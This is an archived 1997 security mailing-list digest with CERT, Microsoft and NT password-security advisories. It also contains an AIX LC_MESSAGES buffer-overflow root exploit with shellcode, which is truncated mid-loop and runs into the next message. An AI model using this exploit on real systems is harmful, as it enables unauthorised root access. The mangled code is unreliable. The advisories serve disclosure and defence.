From: SMTP%"best-of-security-d@suburbia.net" 2-MAY-1997 19:47:03.78 To: best-of-security-d@suburbia.net CC: Subj: best-of-security-d Digest V97 #15 Return-Path: best-of-security-d-request@suburbia.net Received: by arisia.gce.com (UCX V4.1-12C, OpenVMS V7.1 VAX); Fri, 2 May 1997 19:38:35 -0400 Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by bort.mv.net (8.8.3/mem-951016) with ESMTP id BAA07261 for ; Fri, 2 May 1997 01:24:00 -0400 (EDT) From: best-of-security-d-request@suburbia.net Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with ESMTP id WAA13858; Thu, 1 May 1997 22:18:57 -0700 (PDT) Received: (from list@localhost) by suburbia.net (8.8.4/8.8.4) id XAA17167; Thu, 1 May 1997 23:16:53 +1000 (EST) Date: Thu, 1 May 1997 23:16:53 +1000 (EST) Message-Id: <199705011316.XAA17167@suburbia.net> Subject: best-of-security-d Digest V97 #15 X-Loop: best-of-security-d@suburbia.net X-Mailing-List: archive/volume97/15 Precedence: list MIME-Version: 1.0 Content-Type: multipart/digest; boundary="----------------------------" To: best-of-security-d@suburbia.net Reply-To: best-of-security-d@suburbia.net ------------------------------ Content-Type: text/plain best-of-security-d Digest Volume 97 : Issue 15 Today's Topics: mis-addressed mail BoS: winreg key BoS: Exploits for FreeBSD sperl4.036 & sperl5.00x BoS: SECURECOMM '97: Final reminder BoS: SNI-12: BIND Vulnerabilities and Solutions BoS: SNI-12: Update BoS: Security Bulletins Digest BoS: Re: SNI-12: BIND Vulnerabilities and Solutions (+ more problems) BoS: CERT Advisory CA-97.10 - Vulnerability in Natural Language Service (fwd) BoS: CERT Vendor-Initiated Bulletin VB-97.02 - Guestbook Script Vul BoS: COrinne Posse Release 970424 BoS: Re: Overflow in xlock BoS: BIND ID Brute Force Fix BoS: FAQ: NT Password Attack & Defences BoS: Yet Another DIP Exploit? ------------------------------ Date: Mon, 21 Apr 97 09:52:24 PDT From: nobody@PacBell.COM (Postmaster) To: best-of-security-d@suburbia.net Subject: mis-addressed mail Message-Id: <9704211652.AA06970@srv.PacBell.COM> ##################################################################### THE FOLLOWING MAIL MESSAGE WAS MIS-ADDRESSED. AS A COURTESY, IT IS BEING RETURNED TO YOU. IT SHOULD BE RE-SENT TO miu.wang@CyberSafe.COM ##################################################################### From best-of-security-d-request@suburbia.net Mon Apr 21 09:52:12 1997 Return-Path: Received: from gw3.pacbell.com by srv.PacBell.COM (4.1/Mother-7/26/95) id AA06955; Mon, 21 Apr 97 09:52:12 PDT Received: from pdx1.world.net by gw3.pacbell.com (5.x/PacBell-04/11/97) id AA19346; Mon, 21 Apr 1997 09:51:50 -0700 Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with ESMTP id JAA17832; Mon, 21 Apr 1997 09:43:02 -0700 (PDT) From: best-of-security-d-request@suburbia.net Received: (from list@localhost) by suburbia.net (8.8.4/8.8.4) id AAA13211; Tue, 22 Apr 1997 00:45:57 +1000 (EST) Date: Tue, 22 Apr 1997 00:45:57 +1000 (EST) Message-Id: <199704211445.AAA13211@suburbia.net> Subject: best-of-security-d Digest V97 #14 X-Loop: best-of-security-d@suburbia.net X-Mailing-List: archive/volume97/14 Precedence: list Mime-Version: 1.0 Content-Type: multipart/digest; boundary="----------------------------" To: best-of-security-d@suburbia.net Reply-To: best-of-security-d@suburbia.net - ---------------------------- Content-Type: text/plain best-of-security-d Digest Volume 97 : Issue 14 Today's Topics: mis-addressed mail BoS: FreeBSD Security Advisory: FreeBSD-SA-97:03.sysinstall BoS: CERT Advisory CA-97.09 - Vulnerability in IMAP and POP BoS: [linux-security] amd 920824upl102 ignores the nodev option BoS: Alert: PWAudit now available BoS: Alert: Crack 5.0 for NT BoS: qualcomm POP server BoS: Norton Utilities 2.0 Vulnerability BoS: Alert: CIAC Bulletin H-45: Windows NT SAM permission Vulnerabilit y BoS: L0pht Advisory: release of L0phtCrack for NT BoS: Phrack 50 BoS: Linux kernel patch to remove stack exec permission BoS: ftpd bug (yes, again..) BoS: [ANNOUNCE]: ipfilter for FreeBSD2.2.x + FreeBSD3.0-current BoS: 2nd Linux kernel patch to remove stack exec BoS: NT User List Exploit - ---------------------------- Date: Mon, 7 Apr 97 11:34:30 PDT From: nobody@PacBell.COM (Postmaster) To: best-of-security-d@suburbia.net Subject: mis-addressed mail Message-Id: <9704071834.AA04932@srv.PacBell.COM> ##################################################################### THE FOLLOWING MAIL MESSAGE WAS MIS-ADDRESSED. AS A COURTESY, IT IS BEING RETURNED TO YOU. IT SHOULD BE RE-SENT TO miu.wang@CyberSafe.COM ##################################################################### From best-of-security-d-request@suburbia.net Mon Apr 7 11:34:24 1997 Return-Path: Received: from gw3.pacbell.com by srv.PacBell.COM (4.1/Mother-7/26/95) id AA04917; Mon, 7 Apr 97 11:34:24 PDT Received: from pdx1.world.net by gw3.pacbell.com (5.x/PacBell-10/18/95) id AB28141; Mon, 7 Apr 1997 11:33:58 -0700 Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with ESMTP id LAA25936; Mon, 7 Apr 1997 11:34:02 -0700 (PDT) From: best-of-security-d-request@suburbia.net Received: (from list@localhost) by suburbia.net (8.8.4/8.8.4) id DAA16482; Tue, 8 Apr 1997 03:37:24 +1000 (EST) Date: Tue, 8 Apr 1997 03:37:24 +1000 (EST) Message-Id: <199704071737.DAA16482@suburbia.net> Subject: best-of-security-d Digest V97 #13 X-Loop: best-of-security-d@suburbia.net X-Mailing-List: archive/volume97/13 Precedence: list Mime-Version: 1.0 Content-Type: multipart/digest; boundary="----------------------------" To: best-of-security-d@suburbia.net Reply-To: best-of-security-d@suburbia.net - ---------------------------- Content-Type: text/plain best-of-security-d Digest Volume 97 : Issue 13 Today's Topics: BoS: Re: NT backup tapes must be encrypted BoS: Hotflash: FrontPage Server Extensions Security Issue (fwd) BoS: CERT Advisory CA-97.08 - Second vulnerability related to INN - ucbmail BoS: AIX 4.2 LC_MESSAGES + mount exploit BoS: Alert: Suggestions to safeguard against SAM attacks BoS: auth-draft feedback BoS: /etc/default/login LOCKOUT= creates arbitrary files - ---------------------------- Date: Mon, 31 Mar 1997 10:54:54 -0500 From: David LeBlanc To: best-of-security@suburbia.net Subject: BoS: Re: NT backup tapes must be encrypted Message-ID: <2.2.32.19970331155454.00ba4ba8@mail.iss.net> Content-Type: text/plain; charset="us-ascii" [posted to NTBUGTRAQ and mailed] At 14:39 3/29/97 -0800, you wrote: >What do these have to do with preventing an admin from executing a >trojan horse that dumps the hashed passwords and sends them to someone? The difference is that I can swipe the password file from a UNIX box and if all the passwords are complex, I don't get anything more than a list of users. I can't use it to login anywhere - I have to start with the password. With NT, I can use the hashed passwords to actually authenticate, so if the file is stolen, you are automatically screwed, regardless of password complexity. I would strongly suggest that you fix this so that there is an additional layer of hashing such that you cannot work backwards from what is in the registry to get something that can be used to authenticate. This also has some implications regarding web based applications - right now, IIS runs as system. This means that if I can find some way to subvert your http server, I can get it to deliver me those keys, which I can then feed back to it to come in as any user I please. Under UNIX, if I can accomplish the same dirty deed and swipe the password file, I don't get anywhere unless the passwords are weak. This sort of thing is one reason it worries me to see IIS running as system - even if it has to run as a high-level user, it should have a unique user context such that it can be more easily controlled and limited. ----------------------------------------------------------- David LeBlanc | Voice: (770)395-0150 x138 Internet Security Systems, Inc. | Fax: (404)395-1972 41 Perimeter Center East | E-Mail: dleblanc@iss.net Suite 660 | www: http://www.iss.net/ Atlanta, GA 30328 | - ---------------------------- Date: Sat, 29 Mar 1997 03:11:43 -0800 (PST) From: Deprived To: best-of-security@suburbia.net Subject: BoS: Hotflash: FrontPage Server Extensions Security Issue (fwd) Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII This one hadn't popped up here (that I've seen at least). -----Original Message----- From: Mark Lawrence Sent: Wednesday, March 19, 1997 2:06 PM To: Premier Product Info Distribution Subject: Hotflash: FrontPage Server Extensions Security Issue Microsoft FrontPage Modification Security Issue Details are available at the Security Advisory Program Website: http://www.microsoft.com/security/ Microsoft has uncovered a bug in the Microsoft FrontPage Server Extensions that allow knowledgeable users to potentially add content to pages on a Web site without permission through use of raw HTML. This can only happen if: 1. Someone viewing a Web page has an advanced mastery of HTML 2. The Web site is hosted on a server that contains the FrontPage server extensions 3. A Web page contains a Save Results WebBot Component or a Discussion WebBot Component Specifics: Since raw HTML is not filtered out of entries made in the entry fields of the Save Results or Discussion WebBot Components, it is possible for a knowledgeable person browsing a site to enter the tags necessary to create a form within these fields. If the results page is then fetched for browsing the newly inserted form will be available for use by anyone browsing the site. The result is that anyone browsing could then append information to pages in the Web site even though they do not have authoring permission. Microsoft Actions: After isolating the bug and replicating it we concluded the best way to address the issue was to create new versions of the FrontPage 97 Server Extensions. These Server Extensions are being made immediately available at no charge to all of our users via download from the FrontPage Web site at http://www.microsoft.com/frontpage/softlib/current.htm. In addition, we are in the process of proactively sending a set of the updated FrontPage 97 Server Extensions to all Internet Service Providers we know of that are currently using the FrontPage Server Extensions, and we will also include them in the Windows NT Server Service Pack 3. How was this discovered? This issue came to our attention within the last two weeks from a Microsoft employee creating a Web site with FrontPage. Since then we have been confirming and replicating the error to ensure that it was not an isolated incident. As far as we know, this issue has affected no one outside of Microsoft. <><><><><><><> As with any bug that comes to our attention, we feel it is our responsibility and obligation to inform our users of any known bugs that affect the usage of the product as soon as we can confirm and replicate them. What versions of FrontPage does this affect? This bug affects Web sites created with FrontPage 1.1 for Windows and FrontPage 97 with Bonus Pack for Windows that are hosted on Web servers with any version of the FrontPage Server Extensions installed. However, it only affects those sites that contain the WebBot components described above. Any web server with the FrontPage 97 or 1.1 Server Extensions installed and active FrontPage webs with the WebBots specified above are potentially at risk. If the server has server-side include capability enabled then the potential exposure is higher. However, server-side includes are a Web server feature that should be carefully evaluated by any Internet server owner regardless of whether the FrontPage Server Extensions are installed. <><><><><><><> The Microsoft Security Advisory Program Web site has links to all security issues and questions on: Macro Virii Internet Explorer Java ActiveX ...and additional security resources. Check the Security Advisory Program Web site now: http://www.microsoft.com/security/ Mark Lawrence Microsoft Premier Support Internet Applications PIL Mark Lawrence (marklaw@microsoft.com) Internet Applications ProductInfoLead Tech Acct Mgr, Microsoft Premier Support - ---------------------------- Date: Thu, 3 Apr 1997 16:09:33 -0600 From: Aleph One To: best-of-security@suburbia.net Subject: BoS: CERT Advisory CA-97.08 - Second vulnerability related to INN - ucbmail Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT* Advisory CA-97.08 Original issue date: February 20, 1997 Last revised: April 3, 1997 Added information on a second vulnerability (labeled Topic 2), including a new patch that must be applied to many versions of INN. Labeled vendor information as input on Topic 1 or 2. A complete revision history is at the end of this file. Topic 2: Second vulnerability related to INN - ucbmail Topic 1: Vulnerability in innd - ----------------------------------------------------------------------------- A second vulnerability was found in INN (InterNetNews server) after the initial publication of this advisory. We are including it in this advisory as "Topic 2" so that all INN information is in one advisory. Versions 1.5.1 and earlier are vulnerable to this second problem. Information about the first vulnerability has been widely distributed, and we have received numerous reports of exploitation. INN 1.5 and earlier are vulnerable to this problem. Both vulnerabilities allow unauthorized users to execute arbitrary commands on the machine running INN by sending a maliciously formed news control message. Because the problem is with the content of news control messages, attacks can be launched remotely and may reach news servers located behind Internet firewalls. The CERT/CC staff recommends that sites upgrade to INN 1.5.1 and add the patch described in Section III.A. Until you can upgrade, you should apply two patches, as described in Section III.B. You may also want to check with your vendor. Vendors who have provided input for this advisory are listed in Sec. III.C and Appendix A. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. - ----------------------------------------------------------------------------- I. Description Topic 2 - ucbmail ----------------- A second vulnerability involving INN has been found. It is similar to *but not the same as* the one described in Topic 1 below. INN itself attempts to carefully remove certain shell "metacharacters" from data in control messages before passing that data to a shell. The patch for Topic 1 fixes some of the checks that were found to be inadequate. However ucbmail, a program typically configured as the mailer INN should use, lacks similar checks. INN passes some data unchecked to this mailer, which in turn passes the data to a shell for processing. James Brister, the current maintainer of INN, has made a patch available that checks more data before it is passed to the mailer program. Although only the ucbmail program is known to have this problem, sites are encouraged to apply the patch regardless of what mail program their INN is configured to use. Topic 1 - Information provided with the initial advisory --------------------------------------------------------- The INN daemon (innd) processes "newgroup" and "rmgroup" control messages in a shell script (parsecontrol) that uses the shell's "eval" command. However, some of the information passed to eval comes from the message without adequate checks for characters that are special to the shell. This permits anyone who can send messages to an INN server - almost anyone with Usenet access - to execute arbitrary commands on that server. These commands run with the uid and privileges of the "innd" process on that server. Because such messages are usually passed through Internet firewalls to a site's news server, servers behind such firewalls are vulnerable to attack. Also, the program executes these commands before checking whether the sender is authorized to create or remove newsgroups, so checks at that level (such as running pgpverify) do not prevent this problem. As of the advisory update of March 18, 1997, we have received numerous reports that the vulnerability is being exploited. Determining if you are vulnerable --------------------------------- You can determine which version of INN your site is running by connecting to the NNTP port (119) of your news server. For example: % telnet news.your.site 119 Connected to news.your.site Escape character is '^]'. 200 news.your.site InterNetNews server INN 1.4unoff4 05-Mar-96 ready Type "quit" to exit the connection. Note that this does not indicate whether or not the patch recommended below has been installed. II. Impact (applies to both topics 1 & 2) Remote, unauthorized users can execute arbitrary commands on the system with the same privileges as the innd (INN daemon) process. Attacks may reach news servers located behind Internet firewalls. III. Solution Warning: If you applied any of the solutions offered in the version of this advisory released on Feb. 20, 1997, you must add an additional patch. (The following recommendations apply to both topics 1 & 2.) We recommend upgrading to version 1.5.1 and applying the patch developed by James Brister, the current maintainer of INN (Section III. A). If you upgraded previously, you must apply this new patch to protect against the second vulnerability. Until you can upgrade, you need to apply two patches (Section III. B). You may also want to consult your vendor. Vendors who have provided input for this advisory are listed in Sec. III.C and Appendix A. After installing any of the patches or updates, ensure that you restart your INN server. A. Upgrade to INN 1.5.1 and apply a patch. The current version of INN is 1.5.1. It is not vulnerable to the first vulnerability; but it is vulnerable to the second, so a patch is necessary. When you upgrade to INN 1.5.1, please be sure to read the README file carefully. INN 1.5.1 and information about it are available from http://www.isc.org/inn.html The md5 checksum for the gzip'ed tar file is MD5 (inn-1.5.1.tar.gz) = 555d50c42ba08ece16c6cdfa392e0ca4 The patch is available from ftp://ftp.isc.org:/isc/inn/patches/security-patch.04 Checksums for patches are in the directory, along with a README. B. If you do not upgrade to 1.5.1, apply a patch for the version you are running and then apply the newly released patch that addresses the second vulnerability discussed in this advisory. If you are running INN 1.4sec2, you should upgrade to 1.5.1 as no patches are available. FIRST apply: version patch ------- ----- 1.5 ftp://ftp.isc.org/isc/inn/patches/security-patch.01 1.4sec ftp://ftp.isc.org/isc/inn/patches/security-patch.02 1.4unoff3, 1.4unoff4 ftp://ftp.isc.org/isc/inn/patches/security-patch.03 THEN apply (1.5.1, 1.5, 1.4sec, 1.4unoff3, 1.4unoff4) ftp://ftp.isc.org:/isc/inn/patches/security-patch.04 There are md5 checksums for each file in the directory, and a README file describes what is what. C. Consult your vendor Below is a list of vendors who have provided information about INN. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) Caldera Cray Research - A Silicon Graphics Company Debian Linux NEC Corporation Netscape Red Hat Linux ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory, along with an indication about whether the information relates to the first vulnerability or both. We will update this appendix as we receive additional information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact the vendor directly. Berkeley Software Design, Inc. (BSDI) ==================================== For Topic 1 We ship INN as part of our distribution. BSD/OS 2.1 includes INN 1.4sec and 2.1 users should apply the patch referenced in the advisory. BSD/OS 3.0 includes INN 1.4unoff4 and the patch for that version is already included so BSD/OS 3.0 is not vulnerable as distributed. Caldera ======= For Topic 1 An upgrade package for Caldera OpenLinux Base 1.0 will appear at Caldera's site: ftp://ftp.caldera.com/pub/col-1.0/updates/Helsinki/004/inn-1.5.1-2.i386.rpm MD5 sum is: 3bcd3120b93f41577d3246f3e9276098 inn-1.5.1-2.i386.rpm Cray Research - A Silicon Graphics Company ========================================== For Topics 1 and 2 Cray Research has never shipped any news server with Unicos. Debian Linux ============ For Topic 1 The current version of INN shipped with Debian is 1.4unoff4. However the "unstable" (or development) tree contains inn-1.5.1. It can be gotten from any debian mirror in the subdirectory debian/unstable/binary/news d3603d9617fbf894a3743a330544b62e 591154 news optional inn_1.5.1-1_i386.deb 205850779d2820f03f2438d063e1dc51 45230 news optional inn-dev_1.5.1-1_i386.deb badbe8431479427a4a4de8ebd6e1e150 31682 news optional inewsinn_1.5.1-1_i386.deb NEC Corporation =============== For Topics 1 and 2 Products below are shipped with INN mentioned in this advisory, so they are vulnerable and patches are in progress. Goah/NetworkSV R1.2 vulnerable Goah/NetworkSV R2.2 vulnerable Goah/NetworkSV R3.1 vulnerable Goah/IntraSV R1.1 vulnerable Netscape ======== For Topic 1 The Netscape News Server 2.01 is immune to the attack outlined in the advisory. The News Server 1.1 is, however, subject to the same vulnerability as INN and we have advised customers to install the patch described in the advisory. Red Hat Linux ============= For Topics 1 and 2 There is a critical security hole in INN which affects all versions of Red Hat Linux. A new version, inn-1.5.1-6, is now available for Red Hat Linux 4.0 and 4.1 for all platforms. If you are running an earlier version of Red Hat, we strongly encourage you to upgrade to 4.1 as soon as possible, as many critical security fixes have been made. The new version of inn is PGP signed with the Red Hat PGP key, which is available on all Red Hat CDROMs, ftp.redhat.com, and public keyservers. You may upgrade to the new version as follows: Red Hat 4.1 - ----------- i386: rpm -Uvh ftp://ftp.redhat.com/updates/4.1/i386/inn-1.5.1-6.i386.rpm alpha: rpm -Uvh ftp://ftp.redhat.com/updates/4.1/alpha/inn-1.5.1-6.alpha.rpm SPARC: rpm -Uvh ftp://ftp.redhat.com/updates/4.1/sparc/inn-1.5.1-6.sparc.rpm Red Hat 4.0 - ----------- i386: rpm -Uvh ftp://ftp.redhat.com/updates/4.0/i386/inn-1.5.1-6.i386.rpm alpha: rpm -Uvh ftp://ftp.redhat.com/updates/4.0/alpha/inn-1.5.1-6.alpha.rpm SPARC: rpm -Uvh ftp://ftp.redhat.com/updates/4.0/sparc/inn-1..5.1-6.sparc.rpm - ----------------------------------------------------------------------------- The CERT Coordination Center thanks James Brister of the Internet Software Consortium for making fixes available and Matt Power of MIT for analyzing and reporting the first problem. We also thank AUSCERT for their contributions to this advisory. James Crawford Ralston of the University of Pittsburgh and Frank Miller of Tektronix Corporation assisted with the March 18, 1997 update. The second vulnerability addressed in this advisory was discovered by security experts in the Global Security Analysis Laboratory (GSAL) at IBM's T.J. Watson Research Center. We thank the IBM Emergency Response Service for providing information on this topic. (They published information in ERS-SVA-E01-1997:002.1. Their alert is copyrighted 1997 by International Business Machines Corporation.) - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/team-info). CERT/CC Contact Information - ---------------------------- Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org In the subject line, type SUBSCRIBE your-email-address - --------------------------------------------------------------------------- Copyright 1997 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. * Registered U.S. Patent and Trademark Office. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-97.08.innd http://www.cert.org click on "CERT Advisories" ============================================================================== UPDATES March 18, 1997 - -------------- If you are upgrading to INN 1.5.1, please be sure to read the README file carefully. Note that if you are upgrading to 1.5.1 from a previous release, running a "make update" alone is not sufficient to ensure that all of the vulnerable scripts are replaced (e.g., parsecontrol). Please especially note the following from the INN 1..5.1 distribution README file: When updating from a previous release, you will usually want to do "make update" from the top-level directory; this will only install the programs. To update your scripts and config files, cd into the "site" directory and do "make clean" -- this will remove any files that are unchanged from the official release. Then do "make diff >diff"; this will show you what changes you will have to merge in. Now merge in your changes (from where the files are, ie. /usr/lib/news...) into the files in $INN/site. (You may find that due to the bug fixes and new features in this release, you may not need to change any of the scripts, just the configuration files). Finally, doing "make install" will install everything. After installing any of the patches or updates, ensure that you restart your INN server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history Apr 03, 1997 Added information on a second vulnerability (labeled Topic 2), including a new patch that must be applied to many versions of INN. Labeled vendor information as input on Topic 1 or 2. Mar 25, 1997 Section III.B - added a note that no patches are available for version 1.4sec2. Mar 24, 1997 Appendix A - added information from Netscape. Mar 21, 1997 Appendix A - added information from NEC Corporation. Mar 18, 1997 Updates section - added a caution for sites upgrading to 1.5.1 Acknowledgments - added J. C. Ralston and F. Miller Mar 17, 1997 Section III.B - corrected patch information (patch.03 must be used for 1.4unoff3, 1.4unoff4 rather than patch.01); added a URL for INN information. Section III.A and introduction - noted that the vulnerability is being actively exploited. -----BEGIN PGP SIGNATURE----- Version: 2.6..2 iQCVAwUBM0QRmHVP+x0t4w7BAQGVMAQAhhrRuf1a2yD70ODqzETXuyQpjaFKIkA3 xMm7wc/KIyc8bOA0CHDNIRg4XVDgx2L0GkUObYbPeoROkSEQ97ykn1/jTBBALoGZ 0bHb6Mi0p4a5wPvFqss6Mtm6EhRl9sKf3lIrvZyPRo3p6AsNRldp5SU4hKPG4GMu ll7CS4+c+oE= =9AuE -----END PGP SIGNATURE----- - ---------------------------- Date: Thu, 3 Apr 1997 21:52:41 +0200 From: Georgi Guninski To: best-of-security@suburbia.net Subject: BoS: AIX 4.2 LC_MESSAGES + mount exploit Message-ID: <3343FC79.6028@technologica.bg> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello all There seem to exist a buffer overflow condition in AIX 4.2/4.1/? when the shell variable LC_MESSAGES is long enough. /bin/host and /usr/sbin/mount are vulnerable to spawning a root shell. Solutions: 1) IBM was informed on 972903 and on 970403 wrote the following: >The APARs are going through the regression test lab right now and should >be available by next week. Here are the numbers: > AIX 4.2: APAR IX67377 > AIX 4.1: APAR IX67407 > AIX 3.2: APAR IX67405 2) a little bit ugly, but works: #chmod -s /bin/host /usr/sbin/mount 3) I have not tested it, but if you are in the mood you may try to change LC_MESSAGES in /usr/lib/libc.a, /usr/lib/* and everywhere else to something unpredictable. If the C program does not work, try the ksh script which does some brute forcing. PLEASE NOTE my e-mail addresses bellow and do NOT REPLY to this message. Georgi Guninski guninski@hotmail.com stgun@sgg.vmei.acad.bg guninski@linux2.vmei.acad.bg http://www.geocities.com/ResearchTriangle/1711 ---test2.c------------------------------------------------------------------------------------------- /* AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski ---------------------------------------- DISCLAIMER This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, his employer or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of this program is not Georgi Guninski's responsibility. In case you distribute this, please keep the disclaimer and my addresses. ----------------------------------------- Use the IBM C compiler. Compile with: cc -g test2.c ----------------- Georgi Guninski guninski@hotmail.com sgg@vmei.acad.bg guninski@linux2.vmei.acad.bg http://www.geocities.com/ResearchTriangle/1711 Suggestions,comments and job offers are welcome! 22-Mar-97 */ #include #include #include char prog[100]="/usr/sbin/mount"; char prog2[30]="mount"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } /*The program*/ main(int argc,char **argv,char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 --CTR 60632c48 lis r3,r3,11336 --CTR 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 --TOC 60634c0c lis r3,r3,19468 --TOC 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn; int max; int QUIET=0; int dobuf=0; char VAR[30]="LC_MESSAGES"; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; int egg=1; int ch; unsigned int reta; /* return address */ int corr=4604; char *args[4]; char *newenv[8]; int justframes=1; int startwith=0; mn=78; max=100; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr; for(nop=0;nop To: best-of-security@suburbia.net Subject: BoS: Alert: Suggestions to safeguard against SAM attacks Message-Id: <199704041331.XAA07724@suburbia.net> Recently, the algorithm for reversing the obfuscation step of encrypting an NT user ID's password was published. This has resulted in a great deal of discussion over the relative security of Windows NT systems. This article intends on providing you, the NT Administrator, with sufficient information and understanding to ensure you are able to DETECT an attempt to exploit your systems using this algorithm. Q: What's this all about? A: When a password is stored on Windows NT, it is stored in encrypted form. The clear-text password is first encrypted using keyed MD4, it is then encrypted again using an obfuscation method. Once obfuscated, it is stored within the NT registry. The keyed MD4 version of the password can be used to create a valid challenge response for its user ID. Therefore, should access to this value be obtained, it would be possible to connect to an NT resource authenticating as that user ID despite not having the clear-text password for that user. Since the method of de-obfuscating has now been published, and since its possible to view the keys which store the encrypted passwords, its possible that this could be done. Q: But someone must compromise the Administrator account first, right? A: Yes, but. as Les Landau quickly pointed out, the entire Security Access Manager (SAM) database is backed up whenever the Emergency Repair Disk (ERD) is updated. Since updating the ERD is good practice, its likely that your SAM has been backed up. By default, the backed up SAM is stored in the file %systemroot%\repair\sam._ , and this file, by default, allows the group EVERYONE read access. It would be possible to retrieve the encrypted passwords from this file rather than from the live registry. The live registry requires Administrator, Administrator Group, or Backup Operator privilege in order to access the password keys. The backed up SAM in the \repair directory does not. Q: Ok, so once I've protected the SAM._ file, then the only other way my machine can be exploited is by fooling the Administrator, right? A: The Administrator, members of the Administrators Group, the Backup Operator, and anyone who has been granted the privilege to backup and restore files, all have the ability to access this information. Furthermore, anyone who can start the Scheduler Service also has the ability to view these entries (this will be explained in detail below). Finally, despite the amount of discussion that has been held on the topic, there is still a community of people who do not appreciate the threat of the Trojan program. Fooling the Administrator is becoming easier as the web interface technology evolves. Double-clicking may not be necessary to execute an application, and its possible for some applications to launch themselves if reckless acceptance of Authenticode certificates has taken place. Administrators may be logging into user's workstations, and if that workstation has not had security controls in place, it's possible that the owner has put programs in the "All Users" Startup group, thereby making them execute as the Administrator when he/she logs on to the workstation. As Microsoft have already said, it cannot be emphasized enough that the use of the Administrator user ID should be strictly controlled and minimized in every way possible. So to the Backup Operator account. Users who have been made members of the Administrators group should similarly be tightly controlled. The most common reason for these types of permissions is a lack of effort to properly configure user IDs which can access the necessary resources as something other than members of the Administrators group. As these accounts have virtually limitless abilities (since that is their purpose and design), their use must be controlled. Q: Ok, but what if I want to have users of the Administrators group be able to use those accounts for their everyday work? A: Obviously this is a common situation in NT environments today. You should change it. However, in the meantime, if you are willing to accept the risks that are associated with having such powerful accounts using untrusted programs, you can rely on auditing to alert you to attempts to exploit your systems. Unfortunately, due to your acceptance of the risks, you may not be able to prevent the exploits, but you will be able to find out that they have taken place. Auditing, by default, is not turned on in Windows NT. In order to record security events as they occur, you have to enable it. Below you will find detailed instructions on how to establish security auditing, and in particular, how to audit access to the sensitive areas containing the passwords. However, just auditing is not enough. Once enabled, you also have to review the event logs regularly and be able to understand what those events mean. In addition, it should be understood that audit events are recorded on the machine at which they occur, they are not distributed throughout a domain. 